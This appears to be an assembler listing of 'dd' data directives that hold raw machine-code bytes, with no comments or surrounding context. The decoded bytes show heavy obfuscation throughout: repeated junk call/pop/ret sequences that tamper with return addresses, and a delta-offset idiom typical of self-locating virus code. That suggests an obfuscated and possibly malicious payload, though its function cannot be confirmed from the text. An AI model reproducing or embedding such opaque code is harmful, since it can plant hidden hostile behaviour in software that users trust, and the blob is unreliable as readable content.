		dd 0B7ED815Dh, 8907DC6Eh, 0D31F15BDh, 9DBD8107h, 0D007D326h
		dd 0F000007h, 15086h, 299D8B00h, 0BE07D315h, 3F2F2B20h
		dd 100E381h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 770E3AC3h, 67D7BF66h, 850FDB0Bh
		dd 80h,	7E8h, 602C7D00h, 0BA8614D5h, 0C7D9D89h,	0F5F07D3h
		dd 0BD83FEB7h, 7DC6C81h, 5840F00h, 0E9000000h, 8Ch, 6C8185C7h
		dd 107DCh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 89A129C3h, 0D32F7DBDh, 5AE907h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 12EA72C3h, 0D6814FADh, 1A1C2BF4h,	6C8185C7h
		dd 7DCh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 1C0424h, 53430000h, 0F823B3C3h, 0DB4349AFh, 0B58BF963h
		dd 7D31D15h, 15299D8Dh,	6A07D3h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 8BBDBCC3h, 0FF2381F2h
		dd 6AFFFFFEh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0B92CC352h, 0A8FB0F25h, 2BF57536h
		dd 0D33085B5h, 6880F07h, 89000000h, 0D31A7D95h,	0DB8C6607h
		dd 1A999589h, 0C3F607D3h, 89840F04h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0A044C350h, 0E930C064h, 0Ch,	0F40694B3h, 82B07C96h
		dd 9E697400h, 261D95FFh, 6A07D3h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 80CE47C3h, 45B58B13h
		dd 5007D325h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 89AC352h, 76C219E1h
		dd 0F7812957h, 78BF1093h, 3EBE9h, 0B58B5100h, 7D302E9h
		dd 6A00B05Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0A3C9C352h, 0EDAE7EFCh, 0E9D2D7ABh
		dd 10h,	148DA412h, 36FBEDBEh, 647C4AB6h, 4D2F93ECh, 2A92E781h
		dd 70E65285h, 96C056BFh, 0E4F28B74h, 57006A71h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0D8B60F09h
		dd 48E0Fh, 0BE660000h, 6BA982Bh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 68C0C352h
		dd 3AF970EAh, 0AE9F8CBh, 34000000h, 3B9A5C25h, 7C60BDBFh
		dd 6AC38B5Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0EFCDC357h, 4E8C1EDh, 0BF9BD8Bh
		dd 0F76607D3h, 57006AE2h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 3610FE48h, 364E526Dh
		dd 0A1BD8B83h, 2B07D330h, 499D01D8h, 5007D303h,	89FB8B66h
		dd 6A241Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0B5FF22C3h, 7D3269Dh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 25C35545h, 0B8C33935h, 0FFEC10F4h
		dd 0D3301995h, 199D8907h, 0B007D312h, 0D5BE6600h, 0F870E64Ah
		dd 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0A1A9E6C3h, 830F613Ch, 250h, 1F45B589h, 0B60F07D3h
		dd 0F08A60D8h, 259DB58Bh, 516107D3h, 0DA1B589h,	0BA5E07D3h
		dd 6, 8758589h,	0C38B07D3h, 2EFDB501h, 8D8907D3h, 7D32945h
		dd 6604E8C1h, 799BF681h, 5B50B53h, 5E07D32Bh, 2BE2F766h
		dd 55006AD8h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0DF051D08h, 6A588Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 7F70C0C3h
		dd 2951BD8Bh, 0B06007D3h, 0F78B660Bh, 0FD82B61h, 1B388h
		dd 8D953100h, 0B907D315h, 7, 1BF9BD8Bh,	0C18307D3h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 8D0FE10Ah, 24h, 0AE8h, 697FB600h, 9B1FD67h, 0E85CE074h
		dd 0Eh,	0D5A73991h, 0D12D5E41h,	24B435EEh, 5E5E8D4Ch, 1715B52Bh
		dd 0D93B07D3h, 14A860Fh, 840F0000h, 15h, 0AE8h,	12624600h
		dd 697C6595h, 66132C76h, 2422C781h, 0D98C665Fh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 35C35040h, 0AC5E479h
		dd 0E81DCF31h, 0Ah, 10F82E50h, 0D2CE4960h, 0B589C81Fh
		dd 7D32779h, 0C1BD895Eh, 0F607D330h, 840F04C1h,	0A1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0B6C35343h, 90EEF2CBh
		dd 601F2509h, 226CBB66h, 0CDBD0361h, 0FF07D301h, 0D3261D95h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0EDBD0BB7h, 5B07D320h, 917CBE66h, 8166C32Bh
		dd 3DD0DEF7h, 834h, 33860Fh, 85310000h,	7D31A3Dh, 6BE9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 187F1FDFh, 0A6513732h, 9C1E75BEh, 6AC08B06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 350CC351h, 8F0FBA9Ah, 1Ch, 14E8h,	3D59AB00h
		dd 0A469AAD8h, 0D7E55712h, 334BEC5Ch, 0B958DBBAh, 5F616079h
		dd 0D88BC38Bh, 2E11BD8Bh, 85C707D3h, 7D32A55h, 5B18919Bh
		dd 3231B52Bh, 0C08B07D3h, 11E9h, 0CE67A400h, 0E7BA6760h
		dd 821D5FA5h, 89967BEBh, 0BD81C0CDh, 7D3269Dh, 7D0h, 7850Fh
		dd 85FF0000h, 7D3269Dh,	9DB5FFFCh, 6A07D326h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 60C0C350h, 32DB501h,	0B58B07D3h, 7D33315h, 1995FF61h
		dd 6A07D330h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0C664C352h, 1D8AE092h,	0F40901Fh
		dd 0BD83F6B7h, 7D32F05h, 0D840F00h, 0F000001h, 0BD83F3BFh
		dd 7D31BA1h, 0FD840F00h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0EA8EC356h
		dd 0FEAB0E26h, 2DDD8611h, 6800Fh, 0B5890000h, 7D3072Dh
		dd 2F0595FFh, 6A07D3h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 1E76BBC3h, 8406A45Dh, 0F908BE66h
		dd 840FC00Bh, 98h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0D5C35343h, 8D89797Ch, 7D30D85h, 4DB18D8Dh
		dd 6A07D3h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 9FC65BC3h, 0D6612EDh, 33A7781Dh, 0D30C1DBDh
		dd 5B807h, 890F0000h, 6, 317D9D09h, 0E1FF07D3h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0D9C35747h, 98345203h
		dd 96AD8303h, 49B58BBBh, 6607D32Fh, 0F4E3CF81h,	141BD83h
		dd 0F0007D3h, 67784h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 140B6638h, 0F1BFA92Ch
		dd 83084315h, 0D31BA1BDh, 840F0007h, 644h, 0E856006Ah
		dd 3
		dd 5EC35E20h, 4247489h,	4244481h, 14h, 94C35646h, 2CED9D89h
		dd 0BD8907D3h, 7D30B2Dh, 1CDD8D8Dh, 6A07D3h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 667501C3h
		dd 858D89AEh, 0C707D32Fh, 0B27C8401h, 55006A44h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 903F96C9h, 0D9A02F70h, 890FFDC6h, 4,	957BBF66h, 0CFCB0181h
		dd 6A1499h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0FDCC82C3h, 41C7BB58h, 706B3404h,	56006ACEh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 9CC805ACh, 327FB976h, 0FF2BF0Fh, 8Dh, 4418100h, 31D6D710h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 73C35646h
		dd 6A006A99h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 9D89C355h, 8DD8276Dh, 0D31CDD85h
		dd 0F28B5007h, 0E9240489h, 10h,	37B2C23Dh, 365DD0D1h, 0A9E23E10h
		dd 7A5BCB45h, 14195FFh,	6A07D3h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 27551CC3h, 0B58B5530h
		dd 7D32059h, 1CDD8D8Dh,	0B50907D3h, 7D32339h, 17E1BD03h
		dd 1C707D3h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 17C35040h
		dd 14E9CEh, 62710000h, 18098D03h, 0DE4A488Ch, 0F7B22B6h
		dd 878EECF1h, 0E681079Ch, 27AD1256h, 108A0Fh, 8E0F0000h
		dd 0Ah,	5E9h, 0E7C01100h, 41C7548Bh, 4,	8E800h,	3F7C0000h
		dd 28BCC6E6h, 5FF5C82Fh, 840FC00Bh, 0A9h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Bh, 63C35646h, 2DD4F7D9h
		dd 0E9328A9Fh, 0Ch, 0D1FA393Ah,	0A3B3D41Dh, 0B14738AEh
		dd 4DB18D8Dh, 6A07D3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 3D24AC3h, 5E571CBDh, 5B8h, 159D8900h
		dd 0FF07D306h, 57006AE1h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 18860F7Ch, 0E9000000h
		dd 13h,	0F5F210FAh, 885E625Ah, 12084594h, 9E9F21B3h, 899B3D5Ah
		dd 0D325F595h, 0DD8D8D07h, 6A07D31Ch, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 1DEEC352h
		dd 69247F1Bh, 36AA0F6Eh, 14798531h, 1C707D3h, 44AA727Ch
		dd 20D59D29h, 18107D3h,	1499CFCBh, 2FB58D89h, 8E0F07D3h
		dd 4, 9A98BF66h, 3C0441C7h, 6ACE7875h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0A6FC352h
		dd 84EAB453h, 10044181h, 6A31D6D7h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0C66AC351h
		dd 0A8B807C8h, 6A446Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 6C35141h, 6BCDA2CBh, 669A6D4Eh, 0A5B3CF81h
		dd 1CDD858Dh, 6A07D3h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 5A6B99C3h, 0BE8h, 700B2200h, 0FDFBE2D0h
		dd 0EFA20D7Dh, 29758D89h, 505E07D3h, 66240489h,	0FFA547BFh
		dd 0D3014195h, 0DD8D8D07h, 6607D31Ch, 2D2FD681h, 1C7h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 8BB433C3h, 441C7FEh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 59C35141h
		dd 0BE60EB64h, 5089CEB9h, 0FC00B61h, 5484h, 6870F00h, 29000000h
		dd 0D3212DB5h, 0B18D8D07h, 0E807D34Dh, 9, 0CA888443h, 922C072Ch
		dd 4DBD8B3Eh, 5E07D334h, 5B8h, 0FFF28B00h, 53006AE1h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 0BC4C1A8h, 0D307BDB5h, 0DD8D8D07h, 6A07D31Ch, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0B714C355h, 8972BB40h, 0D302B9BDh, 0A501C707h, 0E954CA95h
		dd 13h,	772C5AB7h, 0A6AD1300h, 3E9F81BDh, 0B85C23F7h, 814F2AA7h
		dd 99CFCB01h, 0F08B6614h, 690441C7h, 6ACE5F59h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 8994C352h, 0D3210D9Dh, 4418107h, 31D6D710h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 57C35242h, 0F466EB3Fh
		dd 858D006Ah, 7D31CDDh,	86E0CF81h, 6050101Dh, 61605250h
		dd 56B5310Fh, 6060585Ah, 0BE961h, 0D97A0000h, 5ED9C838h
		dd 0A6A076B5h, 8961618Ah, 6A2404h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0FD812BC3h, 0E85419BBh
		dd 8, 0CC6B5BBAh, 8E9194F4h, 1965BF66h,	0FF5F515Eh, 0D3014195h
		dd 0DD8D8D07h, 8907D31Ch, 0D3066DBDh, 1C707h, 66000000h
		dd 0B4F2F681h, 629B58Bh, 41C707D3h, 4, 259D8900h, 0B07D333h
		dd 8D840FC0h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 19CEC350h, 0D385EE61h
		dd 0B18D8D8Eh, 6A07D34Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0D77CC356h,	1695BD09h
		dd 5B807D3h, 89000000h,	0D3293D95h, 6AE1FF07h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 6A5FC351h, 131A6DCEh, 0F9213EFh, 68Ah, 35B58B00h, 6607D312h
		dd 8616C781h, 0B8E9CA03h, 8BFFFFF1h, 50006AC1h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 962ADCE3h
		dd 1611AE1Ah, 0C6816681h, 4EB7609h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0C5C35747h
		dd 0F9F1BF0Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0C4C35040h, 1C71858Dh, 50FC07D3h, 66240489h, 918FF781h
		dd 6A006Ah, 2CD1B529h, 858D07D3h, 7DC7EACh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0B0C35545h, 9F121C45h
		dd 0F9B07959h, 8D8B60FAh, 7D31711h, 33CDB589h, 836107D3h
		dd 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 66EF64C3h, 5090FA8Bh, 0CE8h, 6481A000h, 35AC7FD3h
		dd 23F3CDBAh, 6E9B8h, 197D0000h, 22C6F436h, 6A905Eh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 6A01A6C3h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 6AEE0FD2h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0D2F0BBCEh
		dd 11850941h, 0FF07D301h, 0D32F4D95h, 6820F07h,	89000000h
		dd 0D301B5B5h, 0BE907h,	86FE0000h, 0C6F273FCh, 0CCCEDB80h
		dd 0B09D8DC9h, 8907DC29h, 0D308A5BDh, 0E9D3FF07h, 9, 758E8A73h
		dd 0C1B25C3Dh, 0CD85FF2Eh, 8907D32Ch, 0D30DF59Dh, 877E907h
		dd 0E80000h, 5D000000h,	7EB6ED81h, 6A07DCh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 12492CC3h
		dd 0BD81980Ah, 7D3269Dh, 7D0h, 168860Fh, 0CF810000h, 4C462765h
		dd 17559D8Bh, 6A07D3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 608B2EC3h, 0B58BF88Bh, 7D30C11h
		dd 0E38161h, 6A000001h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 19A8C356h, 897D43ABh
		dd 0D30DE99Dh, 0FDB0B07h, 9785h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 5805087h, 43E8BE44h
		dd 95893F65h, 7D30A65h,	7D27BD83h, 0F0007DCh, 4184h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 8B66E0A4h, 5BE9F9h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 85C7CAC3h, 7DC7D27h
		dd 1, 7CFCD781h, 2AE95500h, 66000000h, 0BD29F78Bh, 7D30EDDh
		dd 7D2785C7h, 7DCh, 890F0000h, 11h, 0B830Fh, 5E80000h
		dd 9A000000h, 98AEC347h, 559D8D5Eh, 0E807D317h,	8, 0A96A20ECh
		dd 5DB4D9Dh, 0FF23815Eh, 6AFFFFFEh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 75CEC357h
		dd 0D1BBF57Dh, 66FA9C6Ch, 8B149CBFh, 0D78166F2h, 8C66F14Dh
		dd 8FDF81DBh, 0F67482E5h, 840F04C3h, 69h, 297D9D89h, 95FF07D3h
		dd 7D3261Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0DDC35747h, 1FBDB58Bh, 0BD8907D3h, 7D31CC1h, 0EBF5790h
		dd 5E047540h, 8E950h, 0ADC10000h, 0A458C0FCh, 6A90EE53h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 49DDC350h, 429E9A1h, 830F0000h, 1Dh, 11E8h
		dd 58E5BE00h, 8ABE7B93h, 5CA403EBh, 32EDBF6Bh, 8589563Ah
		dd 7D31F75h, 8900B05Eh,	0D31EBDB5h, 0E850F07h, 0E9000000h
		dd 9, 56B805DCh, 0DF142CB1h, 6A70E6C0h,	3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0A76AC357h
		dd 0DA2B70CCh, 6D8D8977h, 0B07D31Fh, 0D32B7DBDh, 5171E407h
		dd 2345B589h, 0F5F07D3h, 0BD29D8B6h, 7D30C25h, 6BAh, 0EDBE6600h
		dd 959D0186h, 8B07D32Ch, 7E9C3h, 0E2AB0000h, 3FB6E514h
		dd 0C1FA8B70h, 6A04E8h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 8A8ADC3h, 684D58FFh, 8BBEDD31h
		dd 0D31C9DBDh, 0EF816607h, 0F766C2CBh, 58A0FE2h, 0BF000000h
		dd 5C92EF43h, 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0D10E6CC3h, 0D9CF4D49h, 0E943343Bh
		dd 13h,	0F51DEFFh, 0E2C96D77h, 0AE147D7Ah, 15B882Bh, 502CD343h
		dd 6A241C89h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0BB1BC352h, 21556E8Fh,	269DB5FFh
		dd 6A07D3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 115F49C3h, 0FB36F675h, 0F19529E1h, 0FF07D329h
		dd 0D3301995h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 29B19D05h, 95294F39h
		dd 7D31AD1h, 5E8h, 0E2878400h, 0D1BE3F18h, 5F406FE4h, 6A00B0h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0CB113DC3h, 879C1B7h, 70E6DA16h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 35C35141h, 8166574Eh, 0E48808CFh
		dd 51006A71h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 298D23F6h, 3C6C60CDh, 830F61h, 6A000002h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0BDB6C351h, 60767591h, 123F88BFh,	0BE8h
		dd 6255C900h, 9E657Fh, 3B4A3F70h, 0E336BFBEh, 12E95E48h
		dd 82000000h, 39468A1Bh, 450697FEh, 79F64E12h, 3E140D67h
		dd 0D8B60F9Eh, 26F99529h, 6BA07D3h, 0F000000h, 0C38BF1B7h
		dd 0EDA0EE81h, 0E8C1494Bh, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 63CAF960h
		dd 8897601Eh, 0E2F76687h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 44C35646h, 2F91977Fh,	2B1963BBh, 816651D8h
		dd 5FDBA5F7h, 9E958h, 8DB90000h, 4E6EE657h, 2BBC00FAh
		dd 28880FD8h, 0E9000001h, 6, 0C524DB26h, 7B9294Ah, 0E9000000h
		dd 14h,	8DEB9C8Bh, 4B82BD01h, 0A5142279h, 82102AAEh, 9F3672A0h
		dd 2B498589h, 0C18307D3h, 59B52B00h, 3B07D324h,	0E8860FD9h
		dd 89000000h, 0D3270DB5h, 0D98C6607h, 0BDBD8960h, 8107D302h
		dd 0BA0924C3h, 0C1F66112h, 0C0840F04h, 0FF000000h, 0D3261D95h
		dd 0D6BF6607h, 6A5B3Eh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0CC3305C3h, 0AE9BCh, 0D2EC0000h
		dd 0A6FE6645h, 5603BD08h, 0CE9h, 54794500h, 0D097786Dh
		dd 7E19B5A3h, 0D78166A1h, 0C32B270Eh, 3DFEB70Fh, 834h
		dd 61860Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 191AB3C3h, 1AB4C3D5h, 0DE974h, 7CAC0000h
		dd 0A1BC35E6h, 94F7199Ch, 0E920B0CAh, 2Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0CBC35040h, 9D5B58Bh
		dd 0CEBE07D3h, 8B6AC571h, 0EDB589C0h, 8B07D31Fh, 6AD88BC3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0AA34C352h, 5F5FBF2Dh, 0B58B512Eh, 7D302F1h
		dd 152985C7h, 577D07D3h, 0C08B3971h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0F9C35343h,	269DBD81h, 7D007D3h
		dd 850F0000h, 5Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0D6C35343h, 0C1BE575Dh, 5E572ECEh, 269D85FFh
		dd 6A07D3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 160DA9C3h, 361E4195h, 8F0F2053h, 8, 11BD8951h
		dd 5E07D319h, 269DB5FFh, 6A07D3h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 0FF1FE9C3h, 0D3301995h
		dd 4810F07h, 66000000h,	90401CBFh, 0D88B6660h, 2339BD8Bh
		dd 0B70F07D3h, 61CE8BCEh, 14FDBD01h, 9D2907D3h,	7D30BA1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C7C35545h
		dd 6E418544h, 0B61353F7h, 10E94Dh, 0D4A40000h, 0C03F46F8h
		dd 92B06C45h, 0B7D7363Ah, 8B6662ADh, 14E9FBh, 65D40000h
		dd 0EE47BF45h, 0AEC7B193h, 71642F74h, 892E23E9h, 6A47B5h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E90C51C3h, 12h, 15F54F97h, 0FD1DB01Dh, 0DFEA313Fh
		dd 33202BC6h, 0BD8BFA79h, 7D309B9h, 0EE9h, 3B46EC00h, 0E9AC939Bh
		dd 0C2AB1250h, 6A3E0B60h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0B32FC357h,	0E1663E2Ch
		dd 8176B48Fh, 0D1816660h, 8166AE7Bh, 899D9FC0h,	0D33339B5h
		dd 0B5236107h, 7D3078Dh, 0BE9h,	0E41A4400h, 7397416Ch
		dd 0D6E7A5BFh, 1C6D9589h, 0A7E907D3h, 6AFFFFF7h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0AE67C352h, 0EBC18BD4h, 4, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0C9864532h
		dd 859BB535h, 2D85013Eh, 8B07D302h, 0D30E41BDh,	71858D07h
		dd 907D31Ch, 0D32B9D95h, 8B669007h, 6A9050F9h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0FF38C355h, 0F08B6608h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 12FC17C3h
		dd 6ABB4ABFh, 0BABE6600h, 858DF86Bh, 7DC88A7h, 155D8D09h
		dd 0C08307D3h, 0F1853105h, 8B07D306h, 0BE6690F0h, 6650C2ADh
		dd 6690F38Bh, 6B31D781h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 33DB73C3h, 0F5BD74Ah
		dd 685h, 0B5B58900h, 0F07D31Bh,	88h, 0BF006A00h, 14E7A323h
		dd 2F4D95FFh, 0B58B07D3h, 7D30CC1h, 29B09D8Dh, 6A07DCh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0FF1A8AC3h, 56006AD3h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 1579E43Dh, 0FE9h, 7E435600h
		dd 9C9CCEABh, 526E620Ah, 75A310B1h, 2CCD85FFh, 0CE807D3h
		dd 91000000h, 24D77DCFh, 0BDFE9F41h, 89E847E9h,	0D31AEDBDh
		dd 8D315F07h, 7D32CC9h,	873E9h,	0E800h,	815D0000h, 0DC88B1EDh
		dd 49B50307h, 8107D32Eh, 0D3269DBDh, 7D007h, 0AE860F00h
		dd 6A000001h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0F417C352h, 34C99D8Bh,	6A07D3h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 567407C3h, 0E37A7015h, 0BD8BD7BCh, 7D31A19h,	1B61B589h
		dd 0E38107D3h, 100h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 77C35242h, 62AA03B1h,	0E84EF5CEh, 12h
		dd 0D4A7C270h, 0BCEDF91Dh, 5FA95B9h, 64444836h,	840FBA34h
		dd 3, 5FF8BF0Fh, 0BF78B66h, 84850FDBh, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 1790C355h, 9EC6A86Bh, 8181F523h, 29A0E3E7h, 8E0F6032h
		dd 6, 8E0Fh, 6E90000h, 22000000h, 44EC076Ch, 0BD836188h
		dd 7DC872Ch, 0E840F00h,	66000000h, 0D0F5F781h, 4BE9h, 41BF6600h
		dd 2C85C779h, 107DC87h,	0F000000h, 68Ah, 29B58B00h, 6607D327h
		dd 0B4FAC681h, 27E9h, 1D958900h, 0C707D30Ch, 0DC872C85h
		dd 7, 12E900h, 0E86C0000h, 1B8763A9h, 2C83F419h, 0BCF4346Eh
		dd 68EB9976h, 34C99D8Dh, 6A07D3h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 32CF40C3h, 0B59D89D4h
		dd 107D316h, 0D30601B5h, 0FF238107h, 6AFFFFFEh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 45C2C351h, 2238E396h, 23E1405Dh, 0D31B59B5h,	0DB8C6607h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 77C35545h
		dd 0E6A43D4Dh, 0FA5DBADh, 685h,	618D8900h, 0F607D301h
		dd 840F04C3h, 2Eh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 3FC35141h, 95FF7090h,	7D3261Dh, 89F78B50h
